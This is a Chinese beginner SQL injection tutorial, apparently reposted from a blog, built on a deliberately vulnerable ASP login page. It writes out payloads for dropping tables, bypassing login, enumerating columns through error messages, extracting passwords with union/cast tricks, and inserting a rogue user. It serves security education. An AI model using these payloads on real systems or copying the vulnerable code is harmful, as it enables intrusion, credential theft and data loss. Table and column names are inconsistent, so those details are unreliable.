菜鸟学SQL注入 --- 一个简单的教学案例

简介:
黑客的SQL渗透演示:
指的是黑客或恶意用户在应用程序不知道的情况下通过应用程序来对SQL 数据库执行恶意的代码,一旦渗透成功,可以做任何事情,如查看数据表中的信息,删除数据表的数据,到获得网络访问权限等,我们在使用一些商用应用程序的时候,如一些第三方软件,会要求我们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,通过这些用户名和口令来进行相应的操作。这种使用方法可以进行精细的安全控制。所以当前的应用软件中大多都使用这种方法。
而我们这种SQL渗透会对这种方法进行攻击。
我们在这里介绍的内容,主要是为了使用大家在以后的工作中加强安全意识
演示过程:
我们要建立一个表来存放用户名和口令及访问级别

create table users (username varchar(10),password varchar(20), access int)
insert into USERS  values ('dufei','杜飞',1)
利用DW建一个登录页面
详见文档:
<body>
<form name="form1" method="post" action="logined.asp">
  <table width="75%" border="1">
    <tr> 
      <td colspan="2"><div align="center"><font size="5"><strong>用户登录</strong></font></div></td>
    </tr>
    <tr> 
      <td height="21">
<div align="right">用户名:</div></td>
      <td><input name="login_nm" type="text" id="login_nm"></td>
    </tr>
    <tr> 
      <td><div align="right">口令:</div></td>
      <td><input name="login_pw" type="text" id="login_pw"></td>
    </tr>
    <tr> 
      <td colspan="2"><div align="center"> 
          <input type="submit" name="Submit" value="提交">
          &nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit2" value="重置">
        </div></td>
    </tr>
  </table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登录成功,你可以得到任何你所需要的数据")
else
response.write("登录失败")
end if
%>
黑客渗透的第一个例子:删除表
建立一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登录失败的提示,但让我们来看一下T1表是否还存在!
已经消失在世界的尽头了!再也不会回来了
此时为什么不成功,就是SQL渗透在起作用:
我们来分析一下:
从正常登录:输入:DUFEI    杜飞    1   到输入:’; drop table –
分别是:
 select * from logins where USERNAME=’u1’  and PASSWORD=’p1’;
select * from logins where  USERNAME=’’; drop table t1 --  and PASSWORD=’p1’;
因为空用户名是错误的,所以会报登录失败
第二个例子:模仿USERS中的第一个用户登录到我们的系统:
' or (1=1) --
分析:相当于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1  --  and PASSWORD=’杜飞’;
通过这个例子可以看到,SQL 渗透确实可以起到进入系统,破坏系统的作用
当黑客尝到了甜头,就会使用更为危险的手段来攻击
第三个例子:如果黑客在文本框中输入:' having 1=1 --
是没有成功,要的就是这个效果,没有成功,但却得到了我们想要的东西,或者是说,可以从中得到我们感兴趣的东西:暴露了很多危险的东西,这些是作为一个黑客想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪个表,哪个字段中。然后可以猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就可以进行更为危险的攻击
现在黑客想利用所知道的情况再进一步想知道这个表中还有什么字段,以及每个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里肯定是口令。
再想得到第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明所有字段都得到了。
下面还想知道每个字段的类型是什么类型,为以后进一步的攻击做准备
' union select avg(USERS.USERNAME)  from USERS--
能以 varchar 数据类型作为参数
' union select avg(USERS.PASSWORD)  from USERS--
求第三个字段ACCESS也是一样,或者用' and access='f' --
这就得到了三个字段和每个字段的类型了。
但更精彩的来了,我想知道每个字段的具体内容:
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 得到了U1,这是一个用户名。
这对黑客是很有价值的,但是对系统来说是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw  如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可
到现在为止,他知道了用户名口令就可以了,
那如果再高级一点,他可以不用你的用户名口令,我可以直接向你的表中写一个用户名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
测试:




 本文转自 dufei 51CTO博客,原文链接:http://blog.51cto.com/dufei/82295,如需转载请自行联系原作者

相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
32 0
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
40 0
|
6天前
|
SQL 自然语言处理 数据库
NL2SQL实践系列(2):2024最新模型实战效果(Chat2DB-GLM、书生·浦语2、InternLM2-SQL等)以及工业级案例教学
NL2SQL实践系列(2):2024最新模型实战效果(Chat2DB-GLM、书生·浦语2、InternLM2-SQL等)以及工业级案例教学
NL2SQL实践系列(2):2024最新模型实战效果(Chat2DB-GLM、书生·浦语2、InternLM2-SQL等)以及工业级案例教学
|
7天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
16 0
|
14天前
|
SQL 存储 数据挖掘
数据库数据恢复—RAID5上层Sql Server数据库数据恢复案例
服务器数据恢复环境: 一台安装windows server操作系统的服务器。一组由8块硬盘组建的RAID5,划分LUN供这台服务器使用。 在windows服务器内装有SqlServer数据库。存储空间LUN划分了两个逻辑分区。 服务器故障&初检: 由于未知原因,Sql Server数据库文件丢失,丢失数据涉及到3个库,表的数量有3000左右。数据库文件丢失原因还没有查清楚,也不能确定数据存储位置。 数据库文件丢失后服务器仍处于开机状态,所幸没有大量数据写入。 将raid5中所有磁盘编号后取出,经过硬件工程师检测,没有发现明显的硬件故障。以只读方式将所有磁盘进行扇区级的全盘镜像,镜像完成后将所
数据库数据恢复—RAID5上层Sql Server数据库数据恢复案例
|
15天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
1月前
|
SQL
sql server案例总结
sql server案例总结
11 0
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0